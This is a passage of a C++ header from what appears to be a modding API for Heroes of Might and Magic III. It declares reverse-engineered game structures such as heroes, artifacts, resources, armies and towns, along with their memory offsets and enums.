x, INT& y, INT& z); // * modifies x _H3API_ VOID SetX(INT16 x); // * modifies y _H3API_ VOID SetY(INT16 y); // * modifies z _H3API_ VOID SetZ(INT16 z); // * modifies x, y and z _H3API_ VOID SetXYZ(INT x, INT y, INT z); // * Can be used on the stack safely to pack coordinates _H3API_ static UINT Pack(INT x, INT y, INT z); // * Can be used on the stack safely to unpack coordinates _H3API_ static VOID UnpackXYZ(UINT& coord, INT& x, INT& y, INT& z); // * Can be used on the stack safely to unpack X _H3API_ static UINT8 UnpackX(UINT& coord); // * Can be used on the stack safely to unpack Y _H3API_ static UINT8 UnpackY(UINT& coord); // * Can be used on the stack safely to unpack Z _H3API_ static UINT8 UnpackZ(UINT& coord); }; // * to choose a random index within a range, without repeating results struct H3IndexVector { protected: INT m_minimum; INT m_availableCount; BOOL8 m_init; // H3Vector<BOOL8> h3align _f_09[3]; BOOL8* m_begin; BOOL8* m_end; BOOL8* m_capacity; public: _H3API_ H3IndexVector(int minNum, int maxNum); _H3API_ ~H3IndexVector(); // * never returns the same value // * returns InvalidIndex() if there are no non-selected indexes _H3API_ INT ChooseRandom(); // * returns m_minimum - 1 _H3API_ INT InvalidIndex(); }; // * artifacts as they appear on H3Hero structure // * also used for artifact enum struct H3Artifact { INT32 id; INT32 subtype; // used for spell scrolls, otherwise -1 enum eArtifacts { SPELLBOOK = 0, SPELL_SCROLL = 1, GRAIL = 2, CATAPULT = 3, BALLISTA = 4, AMMO_CART = 5, FIRST_AID_TENT = 6, CENTAUR_AXE = 7, BLACKSHARD_OF_THE_DEAD_KNIGHT = 8, GREATER_GNOLLS_FLAIL = 9, OGRES_CLUB_OF_HAVOC = 10, SWORD_OF_HELLFIRE = 11, TITANS_GLADIUS = 12, SHIELD_OF_THE_DWARVEN_LORDS = 13, SHIELD_OF_THE_YAWNING_DEAD = 14, BUCKLER_OF_THE_GNOLL_KING = 15, TARG_OF_THE_RAMPAGING_OGRE = 16, SHIELD_OF_THE_DAMNED = 17, SENTINELS_SHIELD = 18, HELM_OF_THE_ALABASTER_UNICORN = 19, SKULL_HELMET = 20, HELM_OF_CHAOS = 21, CROWN_OF_THE_SUPREME_MAGI = 22, HELLSTORM_HELMET = 23, THUNDER_HELMET = 24, BREASTPLATE_OF_PETRIFIED_WOOD = 25, RIB_CAGE = 26, SCALES_OF_THE_GREATER_BASILISK = 27, TUNIC_OF_THE_CYCLOPS_KING = 28, BREASTPLATE_OF_BRIMSTONE = 29, TITANS_CUIRASS = 30, ARMOR_OF_WONDER = 31, SANDALS_OF_THE_SAINT = 32, CELESTIAL_NECKLACE_OF_BLISS = 33, LIONS_SHIELD_OF_COURAGE = 34, SWORD_OF_JUDGEMENT = 35, HELM_OF_HEAVENLY_ENLIGHTENMENT = 36, QUIET_EYE_OF_THE_DRAGON = 37, RED_DRAGON_FLAME_TONGUE = 38, DRAGON_SCALE_SHIELD = 39, DRAGON_SCALE_ARMOR = 40, DRAGONBONE_GREAVES = 41, DRAGON_WING_TABARD = 42, NECKLACE_OF_DRAGONTEETH = 43, CROWN_OF_DRAGONTOOTH = 44, STILL_EYE_OF_THE_DRAGON = 45, CLOVER_OF_FORTUNE = 46, CARDS_OF_PROPHECY = 47, LADYBIRD_OF_LUCK = 48, BADGE_OF_COURAGE = 49, CREST_OF_VALOR = 50, GLYPH_OF_GALLANTRY = 51, SPECULUM = 52, SPYGLASS = 53, AMULET_OF_THE_UNDERTAKER = 54, VAMPIRES_COWL = 55, DEAD_MANS_BOOTS = 56, GARNITURE_OF_INTERFERENCE = 57, SURCOAT_OF_COUNTERPOISE = 58, BOOTS_OF_POLARITY = 59, BOW_OF_ELVEN_CHERRYWOOD = 60, BOWSTRING_OF_THE_UNICORNS_MANE = 61, ANGEL_FEATHER_ARROWS = 62, BIRD_OF_PERCEPTION = 63, STOIC_WATCHMAN = 64, EMBLEM_OF_COGNIZANCE = 65, STATESMANS_MEDAL = 66, DIPLOMATS_RING = 67, AMBASSADORS_SASH = 68, RING_OF_THE_WAYFARER = 69, EQUESTRIANS_GLOVES = 70, NECKLACE_OF_OCEAN_GUIDANCE = 71, ANGEL_WINGS = 72, CHARM_OF_MANA = 73, TALISMAN_OF_MANA = 74, MYSTIC_ORB_OF_MANA = 75, COLLAR_OF_CONJURING = 76, RING_OF_CONJURING = 77, CAPE_OF_CONJURING = 78, ORB_OF_THE_FIRMAMENT = 79, ORB_OF_SILT = 80, ORB_OF_TEMPESTUOUS_FIRE = 81, ORB_OF_DRIVING_RAIN = 82, RECANTERS_CLOAK = 83, SPIRIT_OF_OPPRESSION = 84, HOURGLASS_OF_THE_EVIL_HOUR = 85, TOME_OF_FIRE_MAGIC = 86, TOME_OF_AIR_MAGIC = 87, TOME_OF_WATER_MAGIC = 88, TOME_OF_EARTH_MAGIC = 89, BOOTS_OF_LEVITATION = 90, GOLDEN_BOW = 91, SPHERE_OF_PERMANENCE = 92, ORB_OF_VULNERABILITY = 93, RING_OF_VITALITY = 94, RING_OF_LIFE = 95, VIAL_OF_LIFEBLOOD = 96, NECKLACE_OF_SWIFTNESS = 97, BOOTS_OF_SPEED = 98, CAPE_OF_VELOCITY = 99, PENDANT_OF_DISPASSION = 100, PENDANT_OF_SECOND_SIGHT = 101, PENDANT_OF_HOLINESS = 102, PENDANT_OF_LIFE = 103, PENDANT_OF_DEATH = 104, PENDANT_OF_FREE_WILL = 105, PENDANT_OF_NEGATIVITY = 106, PENDANT_OF_TOTAL_RECALL = 107, PENDANT_OF_COURAGE = 108, EVERFLOWING_CRYSTAL_CLOAK = 109, RING_OF_INFINITE_GEMS = 110, EVERPOURING_VIAL_OF_MERCURY = 111, INEXHAUSTIBLE_CART_OF_ORE = 112, EVERSMOKING_RING_OF_SULFUR = 113, INEXHAUSTIBLE_CART_OF_LUMBER = 114, ENDLESS_SACK_OF_GOLD = 115, ENDLESS_BAG_OF_GOLD = 116, ENDLESS_PURSE_OF_GOLD = 117, LEGS_OF_LEGION = 118, LOINS_OF_LEGION = 119, TORSO_OF_LEGION = 120, ARMS_OF_LEGION = 121, HEAD_OF_LEGION = 122, SEA_CAPTAINS_HAT = 123, SPELLBINDERS_HAT = 124, SHACKLES_OF_WAR = 125, ORB_OF_INHIBITION = 126, VIAL_OF_DRAGON_BLOOD = 127, ARMAGEDDONS_BLADE = 128, ANGELIC_ALLIANCE = 129, CLOAK_OF_THE_UNDEAD_KING = 130, ELIXIR_OF_LIFE = 131, ARMOR_OF_THE_DAMNED = 132, STATUE_OF_LEGION = 133, POWER_OF_THE_DRAGON_FATHER = 134, TITANS_THUNDER = 135, ADMIRALS_HAT = 136, BOW_OF_THE_SHARPSHOOTER = 137, WIZARDS_WELL = 138, RING_OF_THE_MAGI = 139, CORNUCOPIA = 140, }; enum eArtifactSlots { sHEAD = 0, sSHOULDERS = 1, sNECK = 2, sRIGHT_HAND = 3, sLEFT_HAND = 4, sTORSO = 5, sRIGHT_RING = 6, sLEFT_RING = 7, sFEET = 8, sMISC1 = 9, sMISC2 = 10, sMISC3 = 11, sMISC4 = 12, sBALLISTA = 13, sAMMO_CART = 14, sFIRST_AID_TENT = 15, sCATAPULT = 16, sSPELLBOOK = 17, sMISC5 = 18, }; }; // * a reference to the 3 animation speeds of H3 struct H3AnimationSpeed { FLOAT delay[3]; }; // * An "array" representing the 7 resources struct H3Resources { enum H3ResType { RT_Wood = 0, RT_Mercury = 1, RT_Ore = 2, RT_Sulfur = 3, RT_Crystal = 4, RT_Gems = 5, RT_Gold = 6, }; INT32 wood; INT32 mercury; INT32 ore; INT32 sulfur; INT32 crystal; INT32 gems; INT32 gold; _H3API_ H3Resources(); _H3API_ H3Resources(H3Resources const& other); // * compares current values against cost // * returns true if every current value is greater or equal _H3API_ BOOL EnoughResources(const H3Resources& cost) const; // * removes cost resources from current // * checks for negative overflow! _H3API_ VOID RemoveResources(const H3Resources& cost); // * adds resources to current // * checks for overflow! _H3API_ VOID GainResourcesOF(const H3Resources& gain); // * Get resources as array _H3API_ INT& AsRef(int index); // * Number of non-zero resources _H3API_ INT Count() const; _H3API_ PINT begin(); _H3API_ PINT end(); _H3API_ PINT cbegin() const; _H3API_ PINT cend() const; // * does not check for overflow _H3API_ H3Resources& operator+=(const H3Resources& other); // * does not check for overflow _H3API_ H3Resources& operator-=(const H3Resources& other); // * does not check for overflow _H3API_ H3Resources& operator=(const H3Resources& other); _H3API_ INT& operator[](int index); }; // * The arrangment of 7 creatures on various H3 structures struct H3Army { class H3Iterator { INT32 m_type; _H3API_ PINT32 AsArray() const; public: _H3API_ INT32 Type() const; _H3API_ INT32 Count() const; _H3API_ INT32& RType(); _H3API_ INT32& RCount(); }; INT32 type[7]; INT32 count[7]; // * add amount creature of type to slot _H3API_ VOID AddStack(INT32 type, INT32 amount, INT32 slot); // * Split fromStack based on fraction denominator to toStack // * fraction = 2 cuts in half _H3API_ VOID SplitFromStackToStack(INT32 fromStack, INT32 toStack, INT32 fraction); // * the first type[] index to hold no creature _H3API_ INT32 FirstFreeSlot(); // * the slot position of the n-th existing stack _H3API_ INT32 FindExistingByIndex(INT32 index); // * the number of existing stacks _H3API_ INT32 GetStackCount(); // * Total number of creatures _H3API_ INT32 GetCreaturesCount(); // * has at least one creature cre _H3API_ BOOL8 HasCreatureType(INT32 cre); // * not empty _H3API_ BOOL HasCreatures(); // * remove all contents _H3API_ VOID Clear(); // * clear contents of stack #0-6 _H3API_ VOID Clear(INT stack); // * removes contents and gives creatures _H3API_ VOID ClearAndGive(INT type, INT count); // * checks if all stacks are flagged as undead _H3API_ BOOL8 IsUndeadArmy(); // * the number of different creature alignments in an army // * the creature array can be empty _H3API_ INT32 NumberAlignments(INT8(&towns)[9]); // * AI value total for army _H3API_ INT32 GetArmyValue(); _H3API_ H3Iterator* begin(); _H3API_ H3Iterator* end(); _H3API_ H3Army& operator=(const H3Army& other); _H3API_ H3Iterator& operator[](int index); }; // * not the hero on the map struct H3SetupHero { INT8 owner; UINT8 _u1[3]; UINT32 number; // ??? UINT32 id; // = Id UINT8 fl_N; // = has custom name CHAR name[13]; UINT8 fl_E; // = has experience UINT8 _u2; INT32 experience; UINT8 fl_P; // +20 db = custom picture UINT8 pic; // +21 db = picture id UINT8 fl_SS; // +22 db = custom sskills UINT8 _u3; UINT32 sSNum; //! +24 dd = number of sskills UINT8 sSkill[8]; // +28 dd*8 UINT8 sSLev[8]; // +30 db*8 UINT8 fl_C; // +38 db = custom creatures UINT8 _u4[3]; UINT32 cType[7]; // +3C dd*7 = creature types UINT16 cNum[7]; // +58 dw*7 = creature numbers UINT8 group; // +66 db = spread/grouped? UINT8 fl_A; // +67 db = custom arts? H3Artifact bodyArt[19]; //+68 dd*2*13 = equipped artifacts, first UINT32 = id, second is setup (for spellscroll, otherwise -1) H3Artifact backpackArt[64];//+100 dd*2*40 UINT8 backpackCount; // +300 db UINT16 x0, y0; // +301 2*dw UINT8 radius; //! +305 db UINT8 fl_B; // +306 db = custom biblio? UINT8 _u6; H3String biography; UINT8 gender; // +318 dd UINT8 _u9[3]; UINT8 fl_SP; // +31C db = custom spells? UINT8 _u10[3]; UINT8 spell[10]; // +320 db*A ?? length is correct ?? UINT16 _u11; UINT8 fl_PS; // +32C db = custom primary skills? INT8 pSkill[4]; // +32D db*4 = ADPK UINT8 _u12[3]; }; // * Starting Hero default data struct H3HeroInfo { // * Hero is enabled BOOL enabled; protected: // * +4 INT32 _u1[8]; public: // * +24 INT32 armyType[3]; // * +30 // * Small portrait name LPCSTR smallPortrait; // * +34 // * Large portrait name LPCSTR largePortrait; protected: // * +38 UINT8 _u2[8]; public: // * +40 // * the default name LPCSTR name; // * +44 // * Heroes at start can only get up to 3 stacks INT32 armyNum[3][2]; }; // * The specialty structure of heroes struct H3HeroSpecialty { // * +0 UINT32 type; enum SpecialtyType { ST_skill = 0, ST_creatureLevel = 1, ST_resource = 2, ST_spell = 3, ST_staticCreature = 4, ST_speed = 5, ST_conversion = 6, ST_dragon = 7, }; // * +4 // * the ID of skill, creature, resource, spell, creature to upgrade (Dracon/Gelu) UINT32 bonusID; // * +8 // * to be used with creature bonus UINT32 attackBonus; // * +C // * to be used with creature bonus UINT32 defenseBonus; // * +10 // * to be used with creature bonus UINT32 damageBonus; // * +14 // * the ID of the second creature that can be upgraded UINT32 upgrade2; // * +18 // * the ID of the upgraded creature (Enchanters/Sharpshooters) UINT32 upgradeTo; // * +1C // * short specialty name LPCSTR spShort; // * +20 // * full specialty name LPCSTR spFull; // * +24 // * specialty description LPCSTR spDescr; }; // * the bitfield flags for heroes struct H3HeroFlags { // * 0x1 // * Visited Well unsigned well : 1; // * 0x2 // * Visited Stables unsigned stables : 1; // * 0x4 // * Visited Buoy unsigned buoy : 1; // 0x4 // * 0x8 // * Visited Swan Pond unsigned swan_pond : 1; // * 0x10 // * Visited idol of fortune on days 1~6, morale bonys unsigned idol_fortune_morale : 1; // * 0x20 // * -1 luck from fountain of fortune unsigned fountain_fortune1 : 1; // * 0x40 // * visited watering hole unsigned watering_hole : 1; // * 0x80 // * visited oasis unsigned oasis : 1; // * 0x100 // * visited temple on days 1~6 unsigned temple : 1; // * 0x200 // * shipwreck morale penalty unsigned shipwreck : 1; // * 0x400 // * crypt morale penalty unsigned crypt : 1; // * 0x800 // * derelict ship morale penalty unsigned derelect_ship : 1; // * 0x1000 // * pyramid morale penalty unsigned pyramid : 1; // * 0x2000 // * visited faerie ring unsigned faerie_ring : 1; // * 0x4000 // * visited fountain of youth unsigned fountain_of_youth : 1; // * 0x8000 // * visited mermaids unsigned mermaids : 1; // * 0x10000 // * visited rally flag unsigned rally_flag : 1; // * 0x20000 // * hero is in tavern // * see 0x4DA4D1 unsigned in_tavern : 1; // * 0x40000 // * hero is in a boat unsigned in_boat : 1; // * 0x80000 unsigned unk1 : 1; // * 0x100000 // * visited sirens unsigned sirens : 1; // * 0x200000 // * warrior's tomb morale penalty unsigned warrior_tomb : 1; // * 0x400000 // * typed luck cheat unsigned luck_cheat : 1; // * 0x800000 // * typed morale cheat unsigned morale_cheat : 1; // * 0x01000000 // * typed speed cheat unsigned speed_cheat : 1; // * 0x02000000 // * luck bonus from idol of fortune unsigned idol_fortune_luck : 1; // * 0x04000000 // * visited temple on day 7, +2 morale unsigned temple2 : 1; // * 0x08000000 // * +1 luck from fountain of fortune unsigned fountain_fortune2 : 1; // * 0x10000000 // * +2 luck from fountain of fortune unsigned fountain_fortune3 : 1; // * 0x20000000 // * +3 luck from fountain of fortune unsigned fountain_fortune4 : 1; // * 0x40000000 // * 0x80000000 unsigned unk4 : 2; }; // * Hero structure on the adventure map struct H3Hero { // * +0 INT16 x; // * +2 INT16 y; // * +4 INT16 z; // * +6 // * used when the current hero is active and appears on H3MapItem BOOL8 isVisible; // * +7 // * used to show / hide active hero H3Position mixedPosition; // * +B // * true if there is an object below the hero BOOL8 objectBelow; // * +C // * the type of H3MapItem under hero INT32 objectTypeUnder; protected: // * +10 // * ??? related to H3MapItem under hero UINT32 _flag; public: // * +14 // * setup of H3MapItem under the hero UINT32 objectBelowSetup; // * +18 // * the number of spellpoints INT16 spellPoints; public: // * +1A // * 0~156, has to match class, cannot be used to change specialty INT32 id; protected: h3unk _f_1E[4]; // set at 4D8DB1, unknown public: // * +22 // * 0 ~ 7 Red ~ Pink INT8 owner; // * +23 // * the hero's name, null-terminated CHAR name[13]; // * +30 // * 0 ~ 0x11 Knight ~ Elementalist // * 0x12 boat sprite no class - can't navigate water (more sprites after but can crash) INT32 hero_class; // * +34 // * the id of the hero's portrait, 0 ~ 156 UINT8 picture; // * +35 // * the planned x destination INT32 dest_x; // * +39 // * the planned y destination INT32 dest_y; // * +3D // * the planned z destination INT32 dest_z; protected: h3unk _f_41[3]; public: // * +44 // * starting x position UINT8 patrol_x; // * +45 // * starting y position UINT8 patrol_y; // * +46 // * the radius for patrolling, -1 means no range limit UINT8 patrolRadius; protected: h3unk _u3; // +47 = ??? UINT8 _flags; // +48 = ??? public: // * +49 // * the maximum movement points of the hero on a given turn INT32 maxMovement; // * +4D // * the remaining movement points of the hero on a given turn INT32 movement; // * +51 // * the current experience of the hero INT32 experience; // * +55 // * the current level of the hero INT16 level; protected: // * +57 // * bitfields of 32 visited object types per hero H3Bitfield learningStones; // * +5B // * bitfields of 32 visited object types per hero H3Bitfield marlettoTower; // * +5F // * bitfields of 32 visited object types per hero H3Bitfield gardenRevelation; // * +63 // * bitfields of 32 visited object types per hero H3Bitfield mercenaryCamp; // * +67 // * bitfields of 32 visited object types per hero H3Bitfield starAxis; // * +6B // * bitfields of 32 visited object types per hero H3Bitfield treeKnowldge; // * +6F // * bitfields of 32 visited object types per hero H3Bitfield libraryEnlightenment; // * +73 // * bitfields of 32 visited object types per hero H3Bitfield arena; // * +77 // * bitfields of 32 visited object types per hero H3Bitfield schoolMagic; // * +7B // * bitfields of 32 visited object types per hero H3Bitfield schoolWar; UINT8 _7F[16]; public: // * +8F // * the seed for skill tree, 1~255 UINT8 levelSeed; // +8F protected: UINT8 _f90; public: // * +91 // * the creatures of the hero H3Army army; // * +C9 // * the level of each secondary skill INT8 secSkill[28]; // * +E5 // * the order in which to display SSkills (1,2,3,...) INT8 secSkillPosition[28]; // * +101 // * the number of secondary skills the hero has INT32 secSkillCount; // * +105 // * temporary hero flags H3HeroFlags flags; protected: UINT8 _u6[4]; // +109 public: // * +10D // * the number of times dimension door was cast this day INT8 dimDoorCastCount; // +10D // * +10E // * the spell expertise of disguise that was cast INT32 disguisePower; // +10E // * +112 // * the spell expertise of fly that was cast INT32 flyPower; // +112 // * +116 // * the spell expertise of waterwalk that was cast INT32 waterwalkPower; // +116 // * +11A INT8 moraleBonus; // * +11B INT8 luckBonus; protected: INT8 isSleeping; // +11C UINT8 _u7[12]; // 11D INT32 visionPower; // +129 public: // * +12D // * the 19 artifacts on a hero H3Artifact bodyArtifacts[19]; protected: // * +1C5 // * ? UINT8 freeAddSlots; public: // * +1C6 // * whether an artifact slot is blocked or not UINT8 blockedArtifacts[14]; // * +1D4 // * the 64 artifacts in the backpack H3Artifact backpackArtifacts[64]; // * +3D1 // * the number of artifacts in the backpack INT8 backpackCount; // * +3D5 // * male or female INT32 gender; // * +3D9 // * has custom biography? BOOL8 customBio; // * +3DA // * custom biography H3String biography; // * +3EA // * Spells the hero has learned INT8 learned_spell[70]; // * +430 // * Spells the hero has access to through artifacts INT8 available_spell[70]; // * +476 // * the four primary skills, attack, defense, spell power, knowledge INT8 primarySkill[4]; protected: // * +47A // * AI stuff UINT8 _u8[24]; public: // * calculates maximum daily movement on land _H3API_ INT32 MaxLandMovement(); // * calculates maximum daily movement on water _H3API_ INT32 MaxWaterMovement(); // * calculates maximum daily movement automatically _H3API_ INT32 CalcMaxMovement(); // * give an artifact by reference _H3API_ VOID GiveArtifact(H3Artifact& art, INT32 slot); // * give an artifact to hero _H3API_ VOID GiveArtifact(H3Artifact& art); // * give an artifact to hero's backpack // * index = -1 means first free slot _H3API_ VOID GiveBackpackArtifact(H3Artifact& art, INT32 index = -1); // * learn secondary skill by given increase _H3API_ VOID LearnSecondarySkill(INT32 id, INT32 increase); // * returns effect (none, basic, ... expert) of a spell on a given terrain _H3API_ INT32 GetSpellExpertise(INT32 spell_id, INT32 special_terrain); // * does this hero own creature of type...? _H3API_ BOOL8 HasCreatureType(INT32 type); // * the bonus effect on a spell from specialty _H3API_ INT32 GetSpellSpecialtyEffect(INT32 spellID, INT32 creatureLevel, INT32 baseDamage); // * the bonus effect on a spell from sorcery _H3API_ INT32 GetSorceryEffect(INT32 spellID, INT32 baseDamage, H3CombatMonster* mon); // * combined effects of a spell on a creature _H3API_ INT32 GetRealSpellDamage(INT32 baseDamage, H3CombatMonster* mon, INT32 spellID, H3Hero* enemy); // * checks under the hero for special terrain _H3API_ INT32 GetSpecialTerrain(); // * checks under the hero for terrain modifying spells _H3API_ INT32 GetSpecialSpellTerrain(); // * checks if hero has access to a spell _H3API_ BOOL HasSpell(INT32 spell); // * attempts to combine body artifacts into combo _H3API_ VOID BuildCombinationArtifact(INT32 combo_id); // * hero loses skill of id _H3API_ BOOL UnlearnSkill(INT32 id); // * forces recalculation of movement costs on the adventure map _H3API_ VOID RecalculateMovement(); // * is it possible to move to where hero is standing? _H3API_ BOOL8 CanFlyOnTile(); // * how much movement points it costs to move to given mixedPos _H3API_ INT32 GetMovementCost(INT32 orientation, UINT32 mixedPos); // * the maximum number of level ups required to master remaining secondary skills _H3API_ INT32 SSkillsLeftToLearn(); // * is the hero currently wearing artifact id ? _H3API_ BOOL WearsArtifact(INT id); // * get the value of primary 0 ~ 3 between 0/1 ~ 99 even if negative _H3API_ INT32 GetHeroPrimary(INT primary); // * used for diplomacy _H3API_ INT32 HasSimilarCreature(INT id); // * the class name of the current hero _H3API_ LPCSTR GetHeroClassName(); // * shows hero dialog in right-click mode _H3API_ VOID ShowDialog() const; // * army value * (attack & defense power coefficient) _H3API_ INT GetPower() const; // * whether a specified artifact can replace or be placed in specified slot _H3API_ BOOL8 CanReplaceArtifact(int id, int slot) const; // * whether a specified artifact can be placed in specified slot _H3API_ BOOL8 CanPlaceArtifact(int id, int slot) const; // * removes an artifact from player _H3API_ VOID RemoveArtifact(int slot); // * removes an artifact from player's backpack _H3API_ VOID RemoveBackpackArtifact(int slot); // * shows animated creature dialog _H3API_ VOID ShowCreatureDialog(int slot, BOOL rightClick); // * Show info about hero's proficiency at spell _H3API_ VOID ShowSpellInfo(int spell, BOOL RMB); // * Show info about hero's seconday skill _H3API_ VOID ShowSSkillInfo(int skill, BOOL RMB); // * Show info about hero's primary skill _H3API_ VOID ShowPSkillInfo(int skill, BOOL RMB); // * Checks if the hero is wearing all pieces of a combination artifact _H3API_ BOOL HasAllCombinationParts(INT slot); // * disassembles a combination artifact and // * gives a hero all pieces of a combination artifact _H3API_ VOID DisassembleCombinationArtifact(INT slot); }; // * how date is represented struct H3Date { UINT16 day; UINT16 week; UINT16 month; // * converts day, week, month into days from start, first day being 1 _H3API_ UINT32 CurrentDay() const; }; struct H3TownCreatureTypes { class H3Iterator { INT m_base; _H3API_ PINT AsArray() const; public: _H3API_ INT32 Base() const; _H3API_ INT32 Upgraded() const; _H3API_ INT32& RBase(); _H3API_ INT32& RUpgraded(); }; INT base[7]; INT upgrade[7]; _H3API_ H3Iterator* begin(); _H3API_ H3Iterator* end(); }; // * how towns are represented in memory struct H3Town { // * +0 // * 0~48 UINT8 number; // * +1 // * 0~7 who owns this town INT8 owner; // * +2 // * was a structure built here this turn BOOL8 builtThisTurn; // +2 protected: h3unk _f_03; public: // * +4 // * 0~8 Castle ~ Conflux UINT8 type; // * +5 // * x coordinate UINT8 x; // * +6 // * y coordinate UINT8 y; // * +7 // * z coordinate UINT8 z; // * +8 // * X destination of shipyard boat UINT8 pos2PlaceBoatX; // * +9 // * Y destination of shipyard boat UINT8 pos2PlaceBoatY; protected: h3unk _f_0A[2]; public: // * +0C // * the ID of the hero inside the city's garrison INT32 garrisonHero; // * + 10 // * the ID of the visiting hero in the bottom bar INT32 visitingHero; protected: // * +14 INT8 mageLevel; h3unk _f_15; public: // * +16 // * number of recruitable non-upgraded then upgraded creatures INT16 recruits[2][7]; protected: h3unk _f_32; public: // * +33 // * if mana vortex was not used this week BOOL8 manaVortextUnused; protected: h3unk _f_34; h3unk _f_5a[3]; h3unk _f_38[8]; h3unk _f_40[2][2]; public: // * +44 // * which spells are available in mage guild INT32 spells[5][6]; protected: // * +BC // * is it built? BOOL8 magicGuild[5]; h3unk _f_C1[3]; public: // * +C4 // * the town's name, can be lengthened H3String name; protected: h3unk _f_D4[12]; public: // * +E0 // * the creatures in the town's garrison not belonging to a hero H3Army Guards; protected: // * +118 // * for unused combat creatures? H3Army Guards0; public: // * +150 // * for the first 32 buildings // * the game checks mask against global INT64 which // * explains why 2 bitfields can only fit in 32 buildings H3Bitfield built[2]; // * +158 // * for the remaining buildings H3Bitfield built2[2]; // * +160 // * will this structure be buildable in this town? H3Bitfield buildableMask[2]; #pragma region townEnums enum eTown { NEUTRAL = -1, CASTLE = 0, RAMPART = 1, TOWER = 2, INFERNO = 3, NECROPOLIS = 4, DUNGEON = 5, STRONGHOLD = 6, FORTRESS = 7, CONFLUX = 8, }; enum eBuildings // from ERM help { B_MAGE_GUILD1 = 0, B_MAGE_GUILD2 = 1, B_MAGE_GUILD3 = 2, B_MAGE_GUILD4 = 3, B_MAGE_GUILD5 = 4, B_TAVERN = 5, B_WHARF = 6, B_FORT = 7, B_CITADEL = 8, B_CASTLE = 9, B_VILAGE_HALL = 10, B_TOWN_HALL = 11, B_CITY_HALL = 12, B_CAPITOL = 13, B_MARKET = 14, B_RESOURCE_SILO = 15, B_BLACKSMITH = 16, B_SPEC17 = 17, B_HORDE1 = 18, B_HORDE1U = 19, B_WHARF2 = 20, B_SPEC21 = 21, B_SPEC22 = 22, B_SPEC23 = 23, B_HORDE2 = 24, B_HORDE2U = 25, B_GRAIL = 26, B_DECOR27 = 27, B_DECOR28 = 28, B_DECOR29 = 29, B_DWELL1 = 30, B_DWELL2 = 31, B_DWELL3 = 32, B_DWELL4 = 33, B_DWELL5 = 34, B_DWELL6 = 35, B_DWELL7 = 36, B_DWELL1U = 37, B_DWELL2U = 38, B_DWELL3U = 39, B_DWELL4U = 40, B_DWELL5U = 41, B_DWELL6U = 42, B_DWELL7U = 43, /* CASTLE */ B_LIGHTHOUSE = 17, B_STABLES = 21, B_BROTHERHOOD_OF_THE_SWORD = 22, /* RAMPART */ B_MYSTIC_POND = 17, B_FOUNTAIN_OF_FORTUNE = 21, B_DWARVEN_TREASURY = 22, /* TOWER */ B_ARTIFACT_MERCHANT = 17, // same for Dungeon and Conflux B_LOOKOUT_TOWER = 21, B_LIBRARY = 22, B_WALL_OF_KNOWLEDGE = 23, /* INFERNO */ B_BRIMSTONECLOUDS = 21, B_CASTLE_GATE = 22, B_ORDER_OF_FIRE = 23, /* NECROPOLIS */ B_VEIL_OF_DARKNESS = 17, B_NECROMANCY_AMPLIFIER = 21, B_SKELETON_TRANSFORMER = 22, /* DUNGEON */ B_MANA_VORTEX = 21, B_PORTAL_OF_SUMMONING = 22, B_BATTLE_ACADEMY = 23, /* STRONGHOLD */ B_ESCAPE_TUNNEL = 17, B_FREELANCERS_GUILD = 21, B_BALLISTA_YARD = 22, B_HALL_OF_VALHALLA = 23, /* FORTRESS */ B_CAGE_OF_WARLORDS = 17, B_GLYPHS_OF_FEAR = 21, B_BLOOD_OBELISK = 22, /* CONFLUX */ B_MAGIC_UNIVERSITY = 21 }; #pragma endregion _H3API_ BOOL IsBuildingBuilt(INT32 id) const; _H3API_ LPCSTR GetTownTypeName() const; _H3API_ H3Hero* GetGarrisonHero() const; _H3API_ H3Hero* GetVisitingHero() const; _H3API_ BOOL8 IsMageGuildBuilt(INT level) const; _H3API_ H3String GetNameAndType() const; _H3API_ INT32 GoldIncome(BOOL count_silo = FALSE) const; _H3API_ H3Resources& GetResourceSiloIncome() const; _H3API_ H3TownCreatureTypes& GetCreatureTypes() const; _H3API_ BOOL CanBeBuilt(eBuildings id) const; _H3API_ H3Resources TotalIncome() const; }; struct H3SpecialBuildingCosts { enum eSpecialBuildings { /* Castle */ LIGHTHOUSE = 0, GRIFFIN_HORDE, ROYAL_GRIFFIN_HORDE, UNUSED_CASTLE1, STABLES, TAVERN_UPGRADE, UNUSED_CASTLE2, UNUSED_CASTLE3, UNUSED_CASTLE4, /* Rampart */ MYSTIC_GARDEN = 0, DWARF_HORDE, BATTLE_DWARF_HORDE, UNUSED_RAMPART1, RAINBOW, TREASURY, UNUSED_RAMPART2, TREEFOLK_HORDE, BRIAR_TREEFOLK_HORDE, /* Tower */ ARTIFACT_MERCHANTS_TOWER = 0, STONE_GARGOYLE_HORDE, OBSIDIAN_GARGOYLE_HORDE, UNUSED_TOWER1, WATCHTOWER, LIBRARY, WALL_OF_GLYPHIC_KNOWLEDGE, UNUSED_TOWER2, UNUSED_TOWER3, /* Inferno */ UNUSED_INFERNO1 = 0, IMP_HORDE, FAMILIAR_HORDE, UNUSED_INFERNO2, BRIMSTONE_STORMCLOUDS, CASTLE_GATE, ORDER_OF_FIRE, HELL_HOUND_HORDE, CERBERUS_HORDE, /* Necropolis */ COVER_OF_DARKNESS = 0, SKELETON_HORDE, SKELETON_WARRIOR_HORDE, UNUSED_NECROPOLIS1, NECROMANCY_AMPLIFIER, SKELETON_TRANSFORMER, UNUSED_NECROPOLIS2, UNUSED_NECROPOLIS3, UNUSED_NECROPOLIS4, /* Dungeon */ ARTIFACT_MERCHANTS_DUNGEON = 0, TROGLODYTE_HORDE, INFERNAL_TROGLODYTE_HORDE, UNUSED_DUNGEON1, MANA_VORTEX, PORTAL_OF_SUMMONING, ACADEMY_OF_BATTLE_SCHOLARS, UNUSED_DUNGEON2, UNUSED_DUNGEON3, /* Stronghold */ ESCAPE_TUNNEL = 0, GOBLIN_HORDE, HOBGOBLIN_HORDE, UNUSED_STRONGHOLD1, FREELANCERS_GUILD, BALLISTA_WORKS, HALL_OF_VALHALLA, UNUSED_STRONGHOLD2, UNUSED_STRONGHOLD3, /* Fortress */ DEFENSE_CAGE = 0, GNOLL_HORDE, GNOLL_MARAUDER_HORDE, UNUSED_FORTRESS1, SIEGE_DEFENSE, SIEGE_ATTACK, UNUSED_FORTRESS2, UNUSED_FORTRESS3, UNUSED_FORTRESS4, /* Conflux */ ARTIFACT_MERCHANTS = 0, PIXIE_HORDE, SPRITE_HORDE, UNUSED_CONFLUX1, MAGIC_UNIVERSITY, UNUSED_CONFLUX2, UNUSED_CONFLUX3, UNUSED_CONFLUX4, UNUSED_CONFLUX5, }; // * each town has its own H3Resources cost[9]; }; struct H3NeutralBuildingCosts { enum eNeutralBuildings { 